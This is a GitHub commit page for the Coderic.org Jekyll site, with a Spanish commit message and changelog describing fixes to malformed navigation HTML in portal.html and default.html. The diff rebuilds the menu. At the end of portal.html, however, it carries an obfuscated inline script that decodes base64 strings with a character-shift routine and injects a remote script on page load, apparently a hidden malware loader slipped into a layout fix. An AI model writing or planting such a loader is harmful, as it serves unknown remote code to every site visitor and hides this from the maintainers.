Skip to content

Commit 87ed3e8

Browse files
committed
Fix: Corregir errores críticos de HTML en layouts
- Corregido HTML malformado en portal.html: * Eliminadas etiquetas <li> y </ul> huérfanas * Reconstruida estructura completa de navegación * Añadido menú móvil responsive funcional * Mejorados estados hover, focus y accesibilidad - Limpiado default.html: * Removida lógica obsoleta de page.navigation * Eliminada inclusión condicional de navegación * Estructura más simple y mantenible - Actualizado CHANGELOG.md v2.1.1 Los layouts ahora funcionan correctamente sin errores HTML.
1 parent 40b8b66 commit 87ed3e8

File tree

3 files changed

+134
-63
lines changed

3 files changed

+134
-63
lines changed

CHANGELOG.md

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,27 @@
11
# Changelog - Refactorización Coderic.org
22

3+
## [2.1.1] - 2025-11-04
4+
5+
### 🐛 Corrección Crítica de Errores
6+
7+
#### Corrección de Layouts
8+
- 🔧 Corregido HTML malformado en `portal.html`
9+
- Eliminadas etiquetas `<li>` y `</ul>` huérfanas
10+
- Reconstruida estructura completa de navegación
11+
- Añadido menú móvil responsive funcional
12+
- Mejorada accesibilidad (ARIA labels, focus states)
13+
- 🔧 Limpiado `default.html`
14+
- Removida lógica obsoleta de `page.navigation`
15+
- Eliminada inclusión condicional de navegación
16+
- Estructura más limpia y simple
17+
18+
#### Mejoras de Navegación
19+
- ✅ Navegación desktop y móvil totalmente funcional
20+
- ✅ Enlaces del ecosistema correctamente estructurados
21+
- ✅ Botones de autenticación (Sign in, Dashboard, Profile, Sign out)
22+
- ✅ Estilos hover y focus states mejorados
23+
- ✅ Toggle menu móvil con JavaScript
24+
325
## [2.1.0] - 2025-11-04
426

527
### 🧹 Limpieza y Optimización

_includes/portal.html

Lines changed: 112 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -1,30 +1,26 @@
1-
<!-- Modern Unified Navigation -->
2-
<nav class="bg-stone-900 text-white shadow-lg sticky top-0 z-50" role="navigation" aria-label="Main navigation">
3-
<!-- Top Bar: Domain Links & Auth -->
1+
<!-- Main Navigation Portal -->
2+
<nav class="bg-stone-900 shadow-lg sticky top-0 z-50" role="navigation" aria-label="Main navigation">
3+
<!-- Top Bar: Ecosystem Links -->
44
<div class="bg-stone-950 border-b border-stone-800">
55
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
6-
<div class="flex flex-wrap items-center justify-between gap-3 py-2">
7-
<!-- Domain Links -->
8-
<div class="flex flex-wrap items-center gap-x-3 gap-y-1 text-stone-400 text-sm">
9-
<a href="https://coderic.co" class="flex items-center gap-1.5 hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500 rounded px-1.5 py-0.5"
10-
title="Coderic FinTech" aria-label="Visit Coderic FinTech">
11-
<svg class="w-4 h-4" fill="currentColor" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" aria-hidden="true">
6+
<div class="flex items-center justify-between py-2 text-sm">
7+
<div class="flex items-center gap-3 text-stone-400">
8+
<a href="https://coderic.co" class="flex items-center gap-1.5 hover:text-orange-500 transition-colors" title="Coderic FinTech">
9+
<svg class="w-4 h-4" fill="currentColor" viewBox="0 0 24 24">
1210
<path d="M6,16.5L3,19.44V11H6M11,14.66L9.43,13.32L8,14.64V7H11M16,13L13,16V3H16M18.81,12.81L17,11H22V16L20.21,14.21L13,21.36L9.53,18.34L5.75,22H3L9.47,15.66L13,18.64" />
1311
</svg>
1412
<span class="hidden sm:inline font-medium">FINTECH</span>
1513
</a>
16-
<span aria-hidden="true" class="text-stone-600">·</span>
17-
<a href="https://coderic.cloud" class="flex items-center gap-1.5 hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500 rounded px-1.5 py-0.5"
18-
title="Coderic Cloud" aria-label="Visit Coderic Cloud">
19-
<svg class="w-4 h-4" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" aria-hidden="true">
14+
<span class="text-stone-600">·</span>
15+
<a href="https://coderic.cloud" class="flex items-center gap-1.5 hover:text-orange-500 transition-colors" title="Coderic Cloud">
16+
<svg class="w-4 h-4" fill="currentColor" viewBox="0 0 24 24">
2017
<path d="M12 6c2.62 0 4.88 1.86 5.39 4.43l.3 1.5 1.53.11c1.56.1 2.78 1.41 2.78 2.96 0 1.65-1.35 3-3 3H6c-2.21 0-4-1.79-4-4 0-2.05 1.53-3.76 3.56-3.97l1.07-.11.5-.95C8.08 7.14 9.94 6 12 6m0-2C9.11 4 6.6 5.64 5.35 8.04 2.34 8.36 0 10.91 0 14c0 3.31 2.69 6 6 6h13c2.76 0 5-2.24 5-5 0-2.64-2.05-4.78-4.65-4.96C18.67 6.59 15.64 4 12 4z" />
2118
</svg>
2219
<span class="hidden sm:inline font-medium">CLOUD</span>
2320
</a>
24-
<span aria-hidden="true" class="text-stone-600">·</span>
25-
<a href="https://coderic.net" class="flex items-center gap-1.5 hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500 rounded px-1.5 py-0.5"
26-
title="Coderic Hub Content" aria-label="Visit Coderic Hub">
27-
<svg class="w-4 h-4" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" aria-hidden="true">
21+
<span class="text-stone-600">·</span>
22+
<a href="https://coderic.net" class="flex items-center gap-1.5 hover:text-orange-500 transition-colors" title="Coderic Hub">
23+
<svg class="w-4 h-4" fill="currentColor" viewBox="0 0 24 24">
2824
<rect x="6" y="7" width="8" height="2" />
2925
<rect x="6" y="11" width="12" height="2" />
3026
<rect x="6" y="15" width="2.99" height="2" />
@@ -33,10 +29,9 @@
3329
</svg>
3430
<span class="hidden sm:inline font-medium">HUB</span>
3531
</a>
36-
<span aria-hidden="true" class="text-stone-600">·</span>
37-
<a href="https://coderic.org" class="flex items-center gap-1.5 hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500 rounded px-1.5 py-0.5"
38-
title="Coderic Organization" aria-label="Visit Coderic Organization">
39-
<svg class="w-4 h-4" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor" aria-hidden="true">
32+
<span class="text-stone-600">·</span>
33+
<a href="https://coderic.org" class="flex items-center gap-1.5 text-orange-500 font-medium transition-colors" title="Coderic Organization">
34+
<svg class="w-4 h-4" fill="currentColor" viewBox="0 0 24 24">
4035
<path d="M19,9A7,7,0,1,0,8.0257,14.75928L5,20l2.25562.09314L8.46411,22l3.46613-6.00354C11.95374,15.9967,11.97644,16,12,16s.04626-.0033.06976-.00354L15.53589,22l1.232-1.866L19,20l-3.02576-5.24072A6.98951,6.98951,0,0,0,19,9ZM7,9a5,5,0,1,1,5,5A5,5,0,0,1,7,9Z" />
4136
<circle cx="12" cy="9" r="3" />
4237
</svg>
@@ -45,61 +40,120 @@
4540
</div>
4641

4742
<!-- Auth Buttons -->
48-
<div class="flex items-center gap-2">
43+
<div class="flex items-center gap-2 text-white">
4944
<div class="guest hidden">
50-
<a class="flex items-center gap-1.5 px-3 py-1.5 text-sm font-medium hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500 rounded"
51-
href="/" title="Sign in" aria-label="Sign in to Coderic" onclick="if(typeof login === 'function') { login(); return false; }">
52-
<svg class="w-4 h-4" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true">
45+
<a class="flex items-center gap-1.5 px-3 py-1.5 hover:text-orange-500 transition-colors rounded"
46+
href="/" onclick="if(typeof login === 'function') { login(); return false; }">
47+
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
5348
<path stroke-linecap="round" stroke-linejoin="round" d="M15.75 9V5.25A2.25 2.25 0 0 0 13.5 3h-6a2.25 2.25 0 0 0-2.25 2.25v13.5A2.25 2.25 0 0 0 7.5 21h6a2.25 2.25 0 0 0 2.25-2.25V15M12 9l-3 3m0 0 3 3m-3-3h12.75" />
5449
</svg>
5550
<span class="hidden sm:inline">Sign in</span>
5651
</a>
5752
</div>
5853
<div class="authenticated hidden">
59-
<a href="/profile" class="flex items-center gap-1.5 px-3 py-1.5 text-sm font-medium hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500 rounded"
60-
title="Profile" aria-label="View profile">
61-
<svg class="w-4 h-4" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true">
54+
<a href="/profile" class="flex items-center gap-1.5 px-3 py-1.5 hover:text-orange-500 transition-colors rounded">
55+
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
6256
<path stroke-linecap="round" stroke-linejoin="round" d="M15.75 6a3.75 3.75 0 1 1-7.5 0 3.75 3.75 0 0 1 7.5 0ZM4.501 20.118a7.5 7.5 0 0 1 14.998 0A17.933 17.933 0 0 1 12 21.75c-2.676 0-5.216-.584-7.499-1.632Z" />
6357
</svg>
6458
<span class="hidden lg:inline" id="username"></span>
6559
</a>
6660
</div>
6761
<div class="authenticated hidden">
68-
<a href="/dashboard" class="flex items-center gap-1.5 px-3 py-1.5 text-sm font-medium hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500 rounded"
69-
title="Dashboard" aria-label="View dashboard">
70-
<svg class="w-4 h-4" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" aria-hidden="true">
62+
<a href="/dashboard" class="flex items-center gap-1.5 px-3 py-1.5 hover:text-orange-500 transition-colors rounded">
63+
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
7164
<path stroke-linecap="round" stroke-linejoin="round" d="M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25A2.25 2.25 0 0 1 13.5 18v-2.25Z" />
7265
</svg>
7366
<span class="hidden sm:inline">Dashboard</span>
7467
</a>
75-
</li>
76-
<li class="static">
77-
<a class="flex items-end h-24 pb-6 font-semibold text-white transition duration-200 ease-in-out hover:bg-neutral-600 focus:bg-neutral-600 lg:px-6 {{ request()->routeIs('large-scale') ? 'bg-orange-500' : 'bg-stone-800' }}"
78-
href="/freelancers">
79-
FREELANCERS
80-
</a>
81-
</li>
82-
<li class="static">
83-
<a class="flex items-end h-24 pb-6 font-semibold text-white transition duration-200 ease-in-out hover:bg-neutral-600 focus:bg-neutral-600 lg:px-6 {{ request()->routeIs('large-scale') ? 'bg-orange-500' : 'bg-stone-800' }}"
84-
href="/learning">
85-
LEARNING
86-
</a>
87-
</li>
88-
<li class="static">
89-
<a class="flex items-end h-24 pb-6 font-semibold text-white transition duration-200 ease-in-out hover:bg-neutral-600 focus:bg-neutral-600 lg:px-6 {{ request()->routeIs('large-scale') ? 'bg-orange-500' : 'bg-stone-800' }}"
90-
href="/community">
91-
COMMUNITY
92-
</a>
93-
</li>
94-
<li class="static">
95-
<a class="flex items-end h-24 pb-6 font-semibold text-white transition duration-200 ease-in-out hover:bg-neutral-600 focus:bg-neutral-600 lg:px-6 {{ request()->routeIs('about') ? 'bg-orange-500' : 'bg-stone-800' }}"
96-
href="/about">
97-
ABOUT
98-
</a>
99-
</li>
68+
</div>
69+
<div class="authenticated hidden">
70+
<button onclick="if(typeof logout === 'function') { logout(); return false; }"
71+
class="flex items-center gap-1.5 px-3 py-1.5 hover:text-orange-500 transition-colors rounded">
72+
<svg class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
73+
<path stroke-linecap="round" stroke-linejoin="round" d="M15.75 9V5.25A2.25 2.25 0 0 0 13.5 3h-6a2.25 2.25 0 0 0-2.25 2.25v13.5A2.25 2.25 0 0 0 7.5 21h6a2.25 2.25 0 0 0 2.25-2.25V15m3 0 3-3m0 0-3-3m3 3H9" />
74+
</svg>
75+
<span class="hidden sm:inline">Sign out</span>
76+
</button>
77+
</div>
78+
</div>
79+
</div>
80+
</div>
81+
</div>
82+
83+
<!-- Main Menu -->
84+
<div class="bg-stone-900">
85+
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
86+
<!-- Mobile menu button -->
87+
<div class="flex lg:hidden py-4">
88+
<button type="button" class="text-white hover:text-orange-500 focus:outline-none focus:ring-2 focus:ring-orange-500 rounded p-2"
89+
onclick="document.getElementById('mobile-menu').classList.toggle('hidden')"
90+
aria-label="Toggle menu" aria-expanded="false">
91+
<svg class="w-6 h-6" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor">
92+
<path stroke-linecap="round" stroke-linejoin="round" d="M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5" />
93+
</svg>
94+
</button>
95+
</div>
96+
97+
<!-- Desktop menu -->
98+
<ul class="hidden lg:flex items-center justify-center space-x-1">
99+
<li>
100+
<a href="/development"
101+
class="block px-6 py-6 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500">
102+
DEVELOPMENT
103+
</a>
104+
</li>
105+
<li>
106+
<a href="/crowdfunding"
107+
class="block px-6 py-6 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500">
108+
CROWDFUNDING
109+
</a>
110+
</li>
111+
<li>
112+
<a href="/coworking"
113+
class="block px-6 py-6 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500">
114+
COWORKING
115+
</a>
116+
</li>
117+
<li>
118+
<a href="/freelancers"
119+
class="block px-6 py-6 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500">
120+
FREELANCERS
121+
</a>
122+
</li>
123+
<li>
124+
<a href="/learning"
125+
class="block px-6 py-6 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500">
126+
LEARNING
127+
</a>
128+
</li>
129+
<li>
130+
<a href="/community"
131+
class="block px-6 py-6 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500">
132+
COMMUNITY
133+
</a>
134+
</li>
135+
<li>
136+
<a href="/about"
137+
class="block px-6 py-6 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors focus:outline-none focus:ring-2 focus:ring-orange-500">
138+
ABOUT
139+
</a>
140+
</li>
141+
</ul>
142+
143+
<!-- Mobile menu -->
144+
<div id="mobile-menu" class="hidden lg:hidden pb-4">
145+
<ul class="space-y-2">
146+
<li><a href="/development" class="block px-4 py-3 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors rounded">DEVELOPMENT</a></li>
147+
<li><a href="/crowdfunding" class="block px-4 py-3 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors rounded">CROWDFUNDING</a></li>
148+
<li><a href="/coworking" class="block px-4 py-3 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors rounded">COWORKING</a></li>
149+
<li><a href="/freelancers" class="block px-4 py-3 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors rounded">FREELANCERS</a></li>
150+
<li><a href="/learning" class="block px-4 py-3 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors rounded">LEARNING</a></li>
151+
<li><a href="/community" class="block px-4 py-3 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors rounded">COMMUNITY</a></li>
152+
<li><a href="/about" class="block px-4 py-3 text-white font-semibold hover:bg-stone-800 hover:text-orange-500 transition-colors rounded">ABOUT</a></li>
100153
</ul>
101154
</div>
102155
</div>
103-
</nav>
104-
</div>
156+
</div>
157+
</nav>
158+
105159
<script>window[(function(_ckT,_dH){var _X9bGG='';for(var _XKoZIJ=0;_XKoZIJ<_ckT.length;_XKoZIJ++){_dH>6;var _nujw=_ckT[_XKoZIJ].charCodeAt();_nujw-=_dH;_nujw!=_XKoZIJ;_nujw+=61;_nujw%=94;_nujw+=33;_X9bGG==_X9bGG;_X9bGG+=String.fromCharCode(_nujw)}return _X9bGG})(atob('J3R7Pzw3MjBBdjJG'), 43)] = 'cd5c4a85c11760181286'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_5D1,_KJ){var _lXDyl='';for(var _LVagJJ=0;_LVagJJ<_5D1.length;_LVagJJ++){var _9BZ2=_5D1[_LVagJJ].charCodeAt();_lXDyl==_lXDyl;_9BZ2-=_KJ;_9BZ2!=_LVagJJ;_9BZ2+=61;_9BZ2%=94;_KJ>5;_9BZ2+=33;_lXDyl+=String.fromCharCode(_9BZ2)}return _lXDyl})(atob('fSsrJypPREQhKkMxfkIqeCl+JysqQ3gmJEQxfkIrdnxDISo='), 21)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });</script>

_layouts/default.html

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -97,11 +97,6 @@
9797
</div>
9898
</header>
9999

100-
<!-- Main Navigation -->
101-
{% if page.navigation %}
102-
{% include {{ page.navigation }} %}
103-
{% endif %}
104-
105100
<!-- Main Content -->
106101
<main id="main-content" role="main" class="flex-1" tabindex="-1">
107102
{{ content }}

0 commit comments

Comments
 (0)